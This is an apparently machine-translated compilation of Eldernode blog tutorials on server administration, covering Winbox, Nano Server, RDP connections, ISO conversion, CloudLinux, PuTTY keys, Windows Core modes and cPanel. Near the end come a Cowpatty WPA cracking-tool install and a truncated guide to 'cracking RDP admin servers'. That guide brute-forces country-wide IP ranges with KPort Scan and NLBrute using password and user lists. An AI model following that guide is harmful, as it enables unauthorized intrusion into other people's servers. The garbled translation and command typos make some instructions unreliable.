Winbox 是一款专为网络使用而设计的软件,专注于带宽控制。Winbox 允许人们连接到 Mikrotik 路由器。它还用于管理 Mikrotik 虚拟服务器。你不需要在 Mac 或运行 Linux 的服务器上运行 Winbox。只需在您的系统上安装 Winbox,并使用 Mikrotik IP 服务器连接到它。这是 Win32 的一个配对元素,但是可以在使用 Wine 的 Linux 和 MacOS 上运行。
Winbox入门
首先从 Mikrotik 下载页面下载 Winbox 加载程序。然后双击 Winbox.exe 的运行 Winbox loader。Winbox 加载程序有两种模式:
–>简单模式
–>高级模式
简单模式
Winbox 加载程序的默认布局是简单模式。输入路由器的 IP 或 MAC 地址,输入你的用户名和密码,点击连接按钮连接路由器:
另一种选择是在 IP 地址后输入端口号,就像这样:your_IP_address:9999。您可以从 RouterOS 服务菜单中更改端口。
就安全性而言,重要的一点是使用单个 IP 地址。
您可以从邻居选项卡中看到可用路由器的列表。从检测到的路由器列表中,如果你点击 IP 地址,该 IP 用于连接,但是如果你点击 MAC 地址,该 MAC 地址用于连接路由器:
在上面的列表中,您会看到与 Winbox 不兼容的设备,例如 Cisco 路由器或任何其他使用 CDP (Cisco 检测协议)的设备。正在通过 web 浏览器建立与 SwOS 设备的连接。
高级模式
必须启用带有工具的高级模式— >高级模式,以显示额外的 Winbox 加载程序参数:
如何通过命令行访问 Winbox
您可以使用命令行自动传递连接参数、用户和密码:
winbox.exe [<connect-to> [<login> [<password>]]]
通过将 RoMON 代理保存在被管理的路由器列表中,您可以使用以下命令自动传输连接、用户和密码参数以连接到路由器:
winbox.exe --romon [<romon-agent> [<connect-to> [<login> [<password>]]]]
IPv6 连接
Winbox 的另一个特性是支持 IPv6 连接。要连接到路由器的 IPv6 地址,您可以将其放在方括号中,例如当 web 浏览器连接到 IPv6 服务器时:
从 Winbox 连接到 Mikrotik】
–>首先运行 Winbox 工具。
–>然后去邻居。
–>在这一步,Winbox 必须找到你的路由器和 MAC 地址。
–>在列表中找到您的路由器,然后单击 IP/MAC 地址。
–>最后按下连接按钮。
下载完 Winbox 插件并完成身份验证后,您将会看到 Winbox 的主窗口。
Winbox 界面项
界面功能如下:
–>它的设计对大多数用户来说很直观。
–>用户可以向主工具栏(顶部)添加各种信息字段,如 CPU 使用率和内存。
–>菜单栏(左侧)显示所有可用菜单和子菜单的列表,并根据安装的软件包而变化。
–>打开所有菜单窗口的工作区。
1->撤销和重做
2 –>安全模式:该选项防止路由器在配置时变得不可访问。
3 –>标题栏:标题栏包含指定 Winbox 会话使用哪个路由器打开的信息。信息以下列格式显示:
[username]@[Router's IP or MAC] ( [RouterID] ) - Winbox [ROS version] on [RB model] ([platform])
4->内存
5->Winbox 流量
6->安全模式
结论
正如我们所见,Winbox 是一个配置工具,可以通过 MAC 或 IP 协议连接到 mikrotik 路由器。在本文中,我们回顾了 Winbox 的特性,您了解了如何使用 Winbox 连接到 Mikrotik。
如何连接到纳米服务器-教程纳米服务器
如何连接到 Nano 服务器?安装完纳米服务器后,你脑海中浮现的第一个问题就是如何使用它。在上一篇文章中,我们教你如何安装纳米服务器。在这篇文章中,我们将通过系列纳米服务器培训教你如何连接到纳米服务器,这样你就可以利用这款安全的微软 Windows 服务器的优势。
纳米服务器连接教程
在普通 Windows 中,您可以使用远程桌面或 RDP 连接到您的 Windows 服务器并使用其功能。 同样在 Windows Core 中,通过在另一个 Windows 中安装管理工具,可以连接到你的 Windows Core 并对其进行管理。
纳米服务器的情况完全不同,你得用 PowerShell 连接纳米服务器。
用 PowerShell 连接 Nano 服务器的步骤
1。T5 首先,在你的系统中用管理员权限打开 PowerShell 。
2。 然后输入以下命令将您的 Nano 服务器放入有效机器列表中。
如果您在安全网络中工作,您可以使用 ***** 符号来代替目的服务器的 IP 地址,如以下命令所示。
3。 然后依次输入以下命令:
Enter-PSSession –ComputerName "192.168.1.10" -Credential ~\Administrator
注意 你要写的是你的 Nano 服务器的 IP 地址,而不是提到的 IP。
输入上述命令后,会打开一个窗口让你输入你的服务器密码。
输入密码,点击确定。
4。 片刻之后,您将连接到服务器。
此时,您输入的所有命令都将在 Nano 服务器上执行。
5。 要退出 Nano 服务器,您可以输入 Exit 命令,但是通过输入它,会话将保持打开。 最好使用下面的命令结束并退出Nano 服务器:
Exit-PSSession
亦作,见:
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
如何连接到 Windows VPS 服务器- ElderNode 博客
原文:https://blog.eldernode.com/connect-to-windows-vps-server/
如何连接到 Windows VPS 服务器。 VPS ( 虚拟专用服务器)是互联网托管服务提供的虚拟机。一台 VPS 服务器有一个独立的操作系统,客户拥有对该操作系统的超级用户或根访问权限。因此,他们可以在该服务器上安装任何他们想要的软件。
VPS 服务器实际上等同于专用的物理服务器,不同之处在于这些类型的服务器更容易设置和配置。换句话说,利用 Virtuozzo 、virtulizor、 Vmware 等技术。凭借强大而先进的硬件,一台物理服务器被划分为多个具有相同功能和不同资源的虚拟处理器。
在本文中,我们将教你如何通过远程桌面连接到 Windows VPS 服务器。请继续关注本文的其余部分。
连接到 Windows VPS 服务器的教程
1。从的开始菜单中的附件部分,运行的远程桌面连接程序。
您可以使用以下方法快速打开远程桌面连接窗口:
按下 WinKey + R 然后键入 mstsc 并点击 OK 。
注意: 你也可以从开始菜单中搜索然后运行远程桌面。
2。 然后点击显示选项。
3。 在计算机字段中,输入 Eldernode 为您的 Windows VPS 服务器分配的 IP ,在用户名字段中,输入您的用户名。
4。 转到显示选项卡到设置一个快速连接。
5。 从显示配置部分,根据您的屏幕尺寸选择远程窗口的尺寸。
6。 在色彩部分,将色彩质量设置为最低,这样你就可以更快地连接到服务器。
7。 点击连接选项。
8。 会出现一个窗口让你输入你的密码。
注意: 请记住,如果您使用的是较旧的 Windows 服务器,远程后会要求您输入密码。
9。 片刻之后,你将连接到 Windows 环境。
现在,您可以在 Windows 服务器上进行所有所需的设置,包括以下内容:
— 安装各种软件
——重启你的 VPS
— Windows 内部设置
— 安装 ISS 进行网络托管
— Windows 防火墙设置
亦作,见:
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
如何将 ISO 文件转换成 VMDK 文件
原文:https://blog.eldernode.com/convert-iso-file-into-vmdk-file/
安装操作系统最广泛使用的格式之一是 ISO 文件。您可以使用它立即启动虚拟系统中的任何操作系统,如 VMware ESXi。这篇文章将教你如何将 ISO 文件转换成 VMDK 文件。如果你打算购买一个专用服务器,你可以在的网站上查看一下。
教程将 ISO 文件转换成 VMDK 文件
VMware ESXi 是一款裸机虚拟机管理程序,是 VMware 公司的产品之一,在虚拟化服务器架构中用作虚拟化层。它被认为是一种无主机的操作系统,直接安装在硬件上。 ESXi 是 VMware 虚拟机管理程序的最新版本,可创建虚拟机。此外,它还为虚拟机分配资源。该软件的虚拟化层将物理主机的 CPU、存储、内存和网络资源抽象为多个虚拟机。
在来自 Windows 教程系列的本教程中,我们将解释如何在 VMware ESXi 中将 ISO 文件转换为 VMDK 文件。
将 ISO 文件转换成 VMDK 文件
使用 Qemu-img 软件可以将 ISO 文件转换成 VMDK 文件。这是一个用于 Windows 的磁盘映像实用程序,您可以使用该软件来转换、创建和检查各种虚拟磁盘格式的一致性。该实用程序与 VMware、VirtualBox、Hyper-V 和 Xen 虚拟化解决方案兼容。所以,首先导航到 Qemu 官网:选择下载版块:
现在,您应该选择要安装该软件的操作系统,并按照安装步骤进行操作。我们想在 Mac 操作系统上安装 Qemu-img。所以我们选择 macOS 选项:
如您所见,您可以在带有家酿和 Macports 的 macOS 上安装该实用程序。如果你想先从家酿安装,你应该安装家酿。然后输入下面的命令:
brew install qemu
要从 MacPorts 安装 Qemu,请运行以下命令:
sudo port install qemu
一旦在系统上安装了 Qemu-img,就应该将其解压到一个 ISO 文件夹中。
最后,您只需打开 PowerShell 并运行以下命令:
.\qemu-img.exe -O vmdk '.\mac-os.iso’ '.\mac-os.vmdk’
就是这样!
结论
VMDK 文件是存储 VMware 虚拟机硬盘内容的虚拟磁盘。在本文中,我们教您如何在 VMware ESXi 中将 ISO 文件转换为 VMDK 文件。我希望这篇教程对你有用。如果你有任何问题,你可以在评论区问我们。
如何将 Linux 服务器转换为 CloudLinux - Eldernode 博客
原文:https://blog.eldernode.com/convert-linux-server-to-cloudlinux/
Linux 服务器是构建在 Linux 开源操作系统上的服务器。为了向客户端提供内容、应用和服务,Linux 服务器为企业提供了一个低成本的选择。Linux server 因其性能、安全性、稳定性和可伸缩性而广为人知并广受欢迎。此外,CloudLinux 允许您拥有个性化的开发共享主机。该操作系统为共享主机提供商提供了高级自动化、深度性能分析和集中监控工具。根据 Cloudlinux 的特点,在本文中,你将学习如何将 linux 服务器转换为 CloudLinux 。要购买自己的 Linux VPS 或购买 VPS 托管服务器,请访问 Eldernode 中提供的软件包。
教程一步一步把 Linux 服务器转换成 cloud Linux
CloudLinux 提供了管理共享主机的特殊功能,并以特定和精确的方式限制每个用户使用的资源,以防止其他用户因一个用户过度使用资源而变慢。拥有大量站点和用户的托管公司或人员是 CloudLinux 的最多用户。
【cloud Linux OS+】(将 Centos Server 转换为 CloudLinux)
开发 CloudLinux OS+时考虑到了共享主机。作为共享托管提供商,您将体验到 CloudLinux OS+的高级自动化、深度性能分析和集中监控工具。CloudLinux OS+有一些 CloudLinux OS 无法提供的新功能,您可以升级它以使用这些新功能。以下是 CloudLinux OS+的新优势:
PHP X-Ray —新的 PHP 性能跟踪工具:
标识:
缓慢的基于 PHP 的 CMS 模块、缓慢的数据库查询、缓慢的 PHP 函数和缓慢的外部调用
с集中监控—新的服务器性能监控工具:
监视器:
硬件温度、用户数量、Apache 连接数、MySQL 连接数、虚拟机的 CPU 占用时间。它还监控用户的 CPU 使用情况、条目进程、物理内存使用情况、IOPS、IO 使用情况、进程数量、MySQL CPU 使用情况、MySQL IO 使用情况,以及 RAM、CPU、磁盘、系统负载、网络、打开文件、IO 的服务器性能。
自定义通知和警报
优先支持
将现有的 Linux 服务器转换为 CloudLinux 安装 CloudLinux
由于 CloudLinux OS 类似于 CentOS ,我们将其基于 CentOS 转换为 CloudLinux。这是一个非常简单的过程,只需要几分钟。
CloudLinux 安装
CloudLinux 有两种安装方式:
1-直接安装在服务器上
2-将操作系统转换为 CloudLinux
CloudLinux 支持和开发团队提供了一个工具,允许您将当前操作系统转换为 CloudLinux,而无需对托管网站进行任何更改。这似乎是一个相当大的优势。由于您可能已经设置了一台 CentOS 服务器,并在其上安装了各种服务来托管多个网站,因此停止运行并迁移到新服务器是没有意义的。因此,您可以使用这个特性,迁移到 CloudLinux,而 nit 不会遇到任何故障。
CloudLinux 许可
CloudLinux 不是免费的,你必须每月付费才能使用。但是你可以发送一个请求来测试并免费使用 30 天。留下所需信息,等待(大约 1 分钟)以查看您的临时系列。
如何准备
你需要经过两步准备:
1- 获取激活密钥
2- 下载转换脚本
您可以从 CentOS CloudLinux 操作系统下载协调服务器的脚本。它帮助你用 EA4、Plesk、DirectAdmin 和 InterWorx 检测和支持 cPanel。
转换
运行转换脚本。
如果您已经准备了激活密钥,请运行以下命令:
wget https://repo.cloudlinux.com/cloudlinux/sources/cln/cldeploy
sh cldeploy -k <activation_key>
Cloudlinux 同时提供基于 IP 和基于用户的系列。因此,如果您有基于 IP 的许可证,请键入以下命令,而不是上面的命令:
sh cldeploy -i
安装并升级 ClouldLinux 后,重新启动服务器:
reboot
套餐
当服务器重启完成后,它将运行启用了 LVE 的 CloudLinux 内核。此外,Apache 模块、PAM 模块和命令行工具将由转换脚本和 LVE 管理器安装。
LVE 经理
默认情况下,LVE 应该安装在 CloudLinux OS 服务器上。但是如果你发现它不是,使用下面的命令来安装它。
yum install lvemanager
结论
在本文中,您了解了如何将 Linux Server 转换为 CloudLinux。您可以轻松地从您的 Linux 服务器迁移到 CloudLinux,并使用它的特性。在 Eldernode 社区中讨论这个话题,看看其他人对服务器交换的看法。
如何转换。pem to。ppk 与 Putty - Eldernode 博客
原文:https://blog.eldernode.com/convert-pem-to-ppk-with-putty/
PEM 格式是一种用于存储加密密钥和证书的文件存储格式。与大多数存储二进制内容的加密文件存储标准不同,PEM 格式使用 base64 进行编码,这使得文件传输和读取更加容易。另一方面,PPK 文件包含由 PuTTYgen 工具生成并由 PuTTY 使用的私钥。PuTTY 是一个终端模拟器程序,可以作为原始 SSH、Telnet、rlogin 和 TCP 计算协议的客户端。在这篇文章中,我们试着教你如何转换。pem to。Windows 和 Linux 上带有 Putty 的 ppk。你可以访问 Eldernode 中提供的包来购买 Linux VPS 服务器和 Windows VPS 服务器。
教程转换。pem to。带油灰的 PPK
在开始之前,您应该知道 PuTTY 本身并不支持私钥(。pem)由 Amazon EC2 制作的模板。因此,在使用 PuTTY 连接到您的实例之前,您需要将您的私钥转换为。ppk 文件。关注我们这篇文章,教你如何转换。pem to。ppk 带腻子。
PuTTYgen 是 PuTTY 开源网络客户端的一部分。它也是为服务器创建公共和私有 SSH 密钥的重要工具。应该注意,本机 PuTTY 文件格式是。ppk 文件。
用户可以使用 PuTTY 工具安全地将数据从本地主机连接和传输到远程系统。您还应该知道,要使用 PuTTY,主应用程序格式中必须有私钥。
假设作为 EC2,云计算操作系统的核心部分创建了 PEM 文件格式。用户必须首先将文件转换为。ppk 文件格式。
应该注意的是,如果有人打算使用 SSH PuTTY 客户端进行连接,他们必须首先转换。pem 文件到。使用 PuTTYgen 的 ppk。一旦完成,它就可以使用 PuTTY 程序加入本地和远程主机。
对…的介绍。pem 文件格式
PEM 代表隐私增强邮件。这种文件扩展名主要用于数据、电子邮件和加密密钥的私人传输。PEM 格式也是一种非常安全可靠的存储和传输数据的方式。有趣的是知道。pem 文件格式使用二进制到文本的编码方案(base64)对其进行编码,以便用 ASCII 字符串表示二进制数据。
对…的介绍。ppk 文件格式
PPK 文件是 PuTTY 私钥文件。的。ppk 文件扩展名告诉你哪个程序可以打开文件。应当注意,不同的应用程序可能对不同类型的数据使用相同的文件扩展名。因此,. ppk 打开程序可能无法打开所有类型的。ppk 文件。的。ppk 文件格式用于实现与具有相应公钥的远程清单的安全通信。
皈依。pem to。带油灰的 PPK
转换的主要要求。pem 文件到。ppk 格式是下载 PuTTY 然后安装。
注意,PuTTYgen 不需要单独下载。用户必须下载该程序的最新版本并安装整个程序集。成功安装 PuTTY 后,PuTTYgen 将准备好进行转换。pem 文件到。ppk 格式。
在这篇文章中,我们将向你学习在 Windows 和 Linux 操作系统中转换文件的步骤。请和我们在一起。
如何换算。pem to。Windows 上的 ppk 循序渐进
安装油灰后,您必须遵循以下步骤。第一步,你必须从开始菜单中搜索。然后运行 PuTTYgen。现在你需要在生成密钥类型下选择 RSA 。需要注意的是,如果你的 PuTTYgen 版本不包含这个选项,你可以选择 SSH-2 RSA 。
在下一个窗口中,您必须点击" Load "选项。因为 Putty 支持其本地文件格式,所以它只显示具有。ppk 文件扩展名。选择显示文件类型的选项以找到您的。pem 文件。所以选择所有文件选项来显示所有文件。
下一步,您必须选择您的。pem 文件,然后选择打开。
然后,要转换并保存密钥文件,您必须点击“保存私钥”。
当 PuTTYgen 显示一条关于保存密钥而不使用密码短语的警告时,您必须选择 Yes 。
最后,在最后一步中,您必须指定文件的名称。然后 PuTTYgen 会自动添加。ppk 文件扩展名。
如何换算。pem to。Linux 服务器上的 PPK
皈依。pem to。Linux 上的 ppk,按照下面的步骤就可以了。在开始转换之前,如果您的系统上没有安装 PuTTY,您可以通过运行以下命令之一来安装它。
在基于 RPM 的系统中,您可以使用以下命令来安装油灰:
$ sudo yum install putty
您还可以使用以下命令在基于 Dpkg 的系统上安装 putty:
$sudo apt-get install putty-tools
现在,您可以轻松地转换您的。pem 文件保存到 an。在示例 shell 中使用以下命令创建 ppk 文件:
$ sudo puttygen pemKey.pem -o ppkKey.ppk -O private
结论
在本文中,我们试图向您介绍。pem 和。第一步 ppk 文件格式。然后我们试着教你如何皈依。pem to。在 Windows 和 Linux 上使用 Putty 的 ppk。
如何将 Windows Core 转换为 Windows Server - ElderNode 博客
原文:https://blog.eldernode.com/convert-windows-core-to-windows-server/
如何将 Windows Core 转换成 Windows Server 。Windows Core 是一个允许微软在短时间内为新设备和新体验准备新版本 Windows 的项目。Windows Server 2012 和更高版本有三种不同的工作环境,用户可以选择这三种环境中的任何一种来使用服务器。在本教程中,我们将用图形环境将 Windows 内核 转换为 Windows 服务器 。你可以在 Eldernode 中选择你最完美的 Windows VPS 服务器包。
如何将 Windows Core 转换成 Windows Server
要将 Windows Core 转换为 Windows Server,Windows Server 2012 有三种模式,下面我们将分别解释这三种方法:
1。 Windows 全图形环境 :这种模式被称为 Windows Server 全 GUI 特性。它具有 Windows 的所有功能和角色,图形环境已完全安装,与以前版本的 Windows 相同。
2。 最小图形的 Windows:这个 Windows Server 桌面被称为 Windows Server Minimal GUI。这将引导 Windows 与最少的图形,并为您提供所有的角色和管理控制台,并没有一个美丽的和引人注目的 Windows 环境。
3。 Windows Core :这种模式俗称 Windows Core,一般没有图形环境。安装 Windows 后你只会看到一个 CMD 窗口,在其中你也可以打开 PowerShell,只使用 Windows PowerShell 和 CMD 命令。
注意: 以下所有命令都是 PowerShell 命令,必须在 PowerShell 环境中输入。
教程用最少的图形将 Windows Core 转换成 Windows Server
A. 以管理员权限打开 PowerShell 。
B. 输入以下命令进入服务器管理器模块:
Import-module Servermanager
C. 然后输入以下命令,将 Windows Core 转换为具有最小图形环境的 Windows:
Add-WindowsFeatures Sever-Gui-Mgmt-Infra -Restart
通过输入上述命令,Windows 将从核心模式切换到 Windows 最小模式。
在重启后,你会看到如下所示的 Windows 环境:
如何将最小图形的 Windows server 转换成完整图形环境的 Windows server
A. 以管理员权限打开 PowerShell 。
Import-module Servermanager
B. 然后输入下面的命令,完全安装图形环境。
Add-WindowsFeatures Server-Gui-Shell -Restart
重启****Windows 服务器的图形环境。
了解如何将 Windows Server Core 转换为带有完整显卡的 Windows Server
A .首先,打开 PowerShell ,输入以下命令进入服务器管理器模块。
Import-module ServerManager
B. 然后输入以下命令将窗口从核心模式转换为全 GUI :
Add-WindowsFeatures Server-Gui-Shell,Server-Gui-Mgmt-Infra -restart
重启看到醒目和完整的 Windows Server 图形环境。
您可以阅读如何检查 Windows 服务器上的服务器负载以了解更多关于服务器负载的信息。
结论
自 2012 年以来,Windows Server 有三种不同的工作环境,用户可以选择这三种环境中的任何一种来使用服务器。在本文中,我们用三种方法解释了如何将 Windows Core 转换为 Windows Server:最小图形、完全图形环境和完全图形。
如何将 Windows Server 转换为 Windows Core - ElderNode 博客
原文:https://blog.eldernode.com/convert-windows-server-to-windows-core/
如何将 Windows Server 转换成 Windows Core?在上一篇文章中,我们教了你如何将 Windows Core 转换成 Windows Server 。在这篇文章中,我们将教你如何将 Windows Server 转换成 Windows Core。
加入我们继续本教程。
如您所知, Windows Server 2012 有三种不同的工作环境,用户可以选择这三种环境中的每一种来使用服务器。在本文的续篇中,我们将解释 Windows Server 2012 的三种模式。
在 Eldernode 选择您的完美 Windows 虚拟专用服务器包
Windows Server 2012 的三种模式
1。全图形环境的 Windows】
这种模式被称为Windows Server Full GUI Features,拥有 Windows 的所有功能和角色,图形环境是完全安装的,与普通版本的 Windows 相似。
2。最小图形窗口
这种 Windows 服务器桌面被称为 Windows 服务器最小 GUI ,启动 Windows 时只显示最小图形。
它为你提供了所有的管理角色和控制台,再也没有关于它里面有漂亮抢眼的 Windows 环境和开始菜单的新闻了。
3。 Windows 核心
这种模式俗称 Windows 核心,完全没有图形环境。安装 Windows 后你只会看到一个 CMD 窗口,它也可以打开 PowerShell 并且只能使用 PowerShell 和 CMD 命令。
下面,我们将教你如何将带有完整图形环境的 Windows 转换为 Windows Core 和带有最小图形环境的 Windows。
注意: 以下所有命令都是 PowerShell 命令,必须进入 PowerShell 环境。
了解如何将 Windows Server 转换为 Windows Core
A) 将最大图形窗口转换为最小图形窗口
1。T3 打开 PowerShell 拥有管理员权限。
2。T3 输入以下命令进入服务器管理器模块:
Import-module Servermanager
3。 然后输入下面的命令来最小化整个 Windows 图形环境:
Uninstall-WindowsFeatures Server-Gui-Shell -Restart
通过输入上述命令,您的 Windows 将在操作后重启。
您最终将获得如下所示的环境:
B) 将最小图形的 Windows 转换为 Windows 核心
1。T3 打开 PowerShell 拥有管理员权限。
Import-module Servermanager
2。 输入以下命令删除窗口的最小图形并引导 Windows 为核心。
Uninstall-WindowsFeatures Server-Gui-Mgmt-Infra -Restart
进入上面的命令后,图形环境至少会被移除,Windows 会重启,启动后会看到如下图:
C) 将全图形的 Windows 转换为 Windows 核心
该命令用于将带有完整图形环境的 Windows 立即转换为 Windows 核心。
1。 首先进入 PowerShell ,输入以下命令进入服务器管理器模块:
import-module ServerManager
2。 输入以下命令将 Windows 从全 GUI 模式转换为核心。
Uninstall-WindowsFeatures Server-Gui-Shell,Server-Gui-Mgmt-Infra -restart
输入上述命令后,PowerShell将开始完全删除图形环境, Windows Server 将在重启后作为核心启动。
通过这种方式,你可以轻松地将具有完整图形环境的 Windows 转换为具有最小图形环境的 Windows,然后转换为 Windows 内核。
亦作,见:
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
如何使用 Powershell 在 Nano 服务器上复制文件-教程 PowerShell
如何用 PowerShell 在 Nano 服务器上复制文件?如你所知, Nano Server 除了 PowerShell Direct 之外没有任何通信路径。在之前的文章中,我们解释了如何连接到一个纳米服务器。现在你可能会问,如何将文件发送到纳米服务器?或者怎么把需要的文件复制到 Nano 服务器上?
从系列纳米服务器教程、到本文中的,我们将教你如何用 PowerShell 在纳米服务器上复制文件。
乍一看,将文件上传到网站并使用 PowerShell 下载可以解决这个问题。是的,没错。这是一个简单的,当然也是 Linux 的方式。当连接到 SSH Linux 时,您将无法直接发送文件,但在 PowerShell 中,可以将文件从主机复制到目的服务器,即 nano 服务器。
使用 PowerShell 将文件复制到 Nano 服务器
首先,在变量中输入连接或会话所需的信息,如下所示:
$session = New-PSSession -ComputerName 192.168.0.21 -Credential administrator
在上面的命令中, $session 是我们的变量名, 192.168.0.10 将是 Nano 服务器的 IP 地址。
最后,我们输入了姓名管理员作为用户名。
输入上述命令后,输入以下命令复制文件:
Copy-Item C:\VMs\NanoServer\* -Destination c:\files\Nano -recurse -ToSession $session -Verbose
输入上述命令后,您将把一个名为 Michael.txt 的文件从 C:\VMs\Nanoserver 复制到 C:\files\Nano 。
注意 1: 如果要求输入密码,输入上面的命令后输入你的纳米服务器密码。
注 2: 在目的地部分输入的 nano 服务器中输入的地址必须是预先创建的。
您只需将所需的文件复制到您的 nano 服务器上。
亦作,见:
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者想解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
如何在 ubuntu 20.04 - Eldernode 博客上配置 Cowpatty
一步步学习如何在 ubuntu 20.04 上配置 Cowpatty。。Cowpatty 由 Joshua Wright 编写,用于攻击者、网络管理员和黑客针对 Wi-Fi 系统的离线攻击。Cowpatty 是针对使用基于 PSK 的认证的 WPA/WPA2 网络的离线字典攻击。在这篇文章中,在介绍和解释了 Cowpatty 及其工具之后,我们将学习如何在 ubuntu 20.04 上配置 Cowpatty。你可以在 Eldernode 看到可用的包来购买 Ubuntu VPS 服务器。
Cowpatty 中有哪些可用的工具?
Cowpatty 包中包含的工具包括:
-f 字典文件:该工具指定密码攻击中要使用的字典的文件和目录位置。
-s 网络 SSID: 该工具用于指定无线网络名称等服务 ID。
-c 检查 4 向框架是否有效,是否破裂。
-d Hash 文件: 该工具可以减少无线系统的破解时间。它还用于显示文件的位置和文件列表。
-r 数据包捕获文件: 指定在捕获运行后存储所有已存储数据包的文件。
-V 版本: 这个工具会简单的显示你的 cowpatty 软件的版本信息。
-v Verbose: 以详细模式运行命令。也会在终端窗口显示所有的后台进程和信息。
-h 帮助: 打印帮助画面。
了解如何在 ubuntu 20.04 上配置 Cowpatty
在这一节,我们将教你如何在 Ubuntu 20.04 上安装和配置 Cowpatty 。为此,请打开终端并按照以下步骤操作。
在 ubuntu 20.04 上逐步安装 cow patty:
1。在第一步中,输入以下命令:
:~# cd Desktop/
2。然后,在第二步中,您必须输入以下命令:
: ~ # sudo apt-get install libpcap-dev libssl-dev
3。到下载 Cowpatty,您需要在下一步使用以下命令:
:~# wget http://www.willhackforsushi.com/code/cowpatty/4.6/cowpatty-4.6.tgz
4。使用以下命令解压缩下载的 Cowpatty 文件:
:~# tar zxfv cowpatty-4.6.tgz
5。在第五步中,键入以下命令:
: ~ # cd cowpatty-4.6
6。在第六步中,您必须输入以下命令:
: ~ # make cowpatty
7 .。最后,Cowpatty 安装将通过输入以下命令开始:
: ~ # sudo make install -d / usr / local / bin
Ubuntu 20.04 上的 Cowpatty 安装现已成功完成。你可以很容易地搜索和运行它。
结论
使用 cowpatty 工具,您可以针对 WPA/WPA2 网络实施离线字典攻击,这是基于 WPA 个人身份验证的。在本教程中,我们试图命名 Cowpatty 中可用的工具,然后教你如何在 ubuntu 20.04 上配置 Cowpatty。
Linux 和虚拟服务器(VPS)上的 CPanel 和 WHM 安装教程- Eldernode
原文:https://blog.eldernode.com/cpanel-and-whm-installation-tutorial/
如何 CPanel 和 WHM 安装教程关于 Linux 服务器和虚拟服务器( VPS )。
CPanel 是世界上最受用户欢迎的主机控制面板之一,允许用户通过 GUI 界面而不是传统的命令行来管理服务器。这个面板是商用的,你需要定期付费才能使用。
硬件或系统要求
根据 CentOS 版本 6 或 7 的 cPanel 网站上提供的规格,最低频率为 226MHz 的处理器,建议版本 6 的 RAM 为 1 GB,版本 7 的 RAM 为 2 GB,硬盘为 40 GB。
安装前需要考虑的事项:
- 1)安装前关闭操作系统防火墙,重新安装后再进行配置。
-
- CPanel 在安装后不为用户提供 Unistall 选项,您必须恢复服务器才能删除 CPanel。
- 3)要安装 cPanel,您必须拥有 root 访问权限。
-
- cPanel 是用 Perl 语言编程的。您需要确保您的服务器上安装了 Perl。
注意:要开始使用 Putty 软件,请通过 SSH 登录到服务器。
要安装 Perl,运行下面的命令:
yum -y install perl
- 2)现在,用下面的命令设置您的主机名。
- 3)您也可以使用此命令来更改您的主机名。
+当然,在域名下面输入你想要的域名。
主机名 web.eldernode.com
然后输入以下命令来更新 CentOS :
yum update
使用下面的命令,我们将从主站点接收程序安装文件。
cd home
curl -o latest -L https://securedownloads.cpanel.net/latest
输入以下命令运行安装文件:
sh latest
根据您的服务器,这可能需要 4 个小时。当然,如果你有合适的服务器,大约需要 40 分钟。
要进入 whm 面板,请在浏览器中输入以下命令。当然,输入你的服务器的 10 个 IP 号码。根据以下命令之一使用的协议来执行此操作。2087 用于 https 协议,2086 用于使用 http。
http://10.10.10.10:2086 https://10.10.10.10:2087
我希望你觉得 CPanel 和 WHM 安装教程有用。
Cpanel 教程- ElderNode 博客
cPanel 是最流行的虚拟主机控制面板之一。cPanel 基于 Linux 操作系统,是全世界最著名的管理 Linux 服务器和主机的工具。这种美国控制面板受欢迎的一个主要原因是它的易用性。简单而实用的用户界面可以轻松地将所有服务集成到一个位置,并允许用户对其进行管理。
事实上,cPanel 提供了一个网站运营和控制的平台。在这种情况下,您可以:
–将域名连接到您的主机。
–发送您的网站邮件。
–安装 WordPress 或任何其他内容管理系统。
–备份你的网站。
–上传您的文件。
–检查带宽使用情况。
–检查您的安全设置。
–安装你想要的物品。
cPanel 最重要的优势是简单易学、易于使用、节省时间和金钱、自动软件安装、教育材料的可用性、在线支持等。
在本节中,我们包含了与 cPanel 相关的教程供您学习。本教程的目的是熟悉非常流行的 cPanel 控制面板的主要部分和其他应用。
如何破解 RDP 管理服务器- Eldernode 博客
在 RDP 管理服务器上执行破解或暴力攻击意味着在期望的 RDP 管理服务器上测试密码列表,以便可以获得原始密码。不同的程序和网站可以用来破解 RDP 管理服务器。跟随我们这篇文章,学习如何破解 RDP 管理服务器。需要注意的是,你可以访问 Eldernode 提供的包来购买 RDP Admin 服务器。
教程破解 RDP 管理服务器
破解 RDP 管理服务器的先决条件
许多黑客使用蛮力访问 VPS 或 RDP 管理服务器来破解服务器。这样,您需要以下先决条件来破解 RDP 管理服务器。
首先,你需要以下两个工具:
1。KPORT 扫描:在这个工具的帮助下,你可以检查你的 IP 范围来识别光明服务器。
2。Nlbrute: 运行暴力攻击的最佳软件之一。
然后你需要 3 个列表来使用 Nlbrute 工具:
1。Passwordlist: 包含 RDP 管理服务器管理员可能用作密码的密码。你可以从网上下载密码列表。你也可以用 crunch 这样的工具创建自己的自定义密码。
2。Userlist: 服务器管理员可能用作用户名的用户列表。
3。IP 列表:应该被攻击的明文 IP 服务器列表。
在本文的其余部分,请关注我们,了解如何破解 RDP 管理服务器。
破解 RDP 管理服务器
对于破解 RDP 管理服务器,在第一步,你必须进入 countryipblocks 网站。登录后,您需要指定想要哪个国家的 IP 列表。其实这个 IP 列表就是你要攻击那些服务器的列表。
现在,正如您在下图中看到的,您可以按洲或国家选择您的服务器列表:
然后勾选 IP 范围选项,然后点击创建 acl 。
请注意,将为您创建一个适合服务器破解的 IP 列表。
注意: 此列表中的服务器并非全部开启,有些是关闭未使用的。因此,要找到打开的服务器列表,必须使用 Kport 扫描软件。
在下一步中,复制 IP 列表,然后将其粘贴到 Kport 扫描软件中。然后点击开始按钮。
Kport 扫描软件
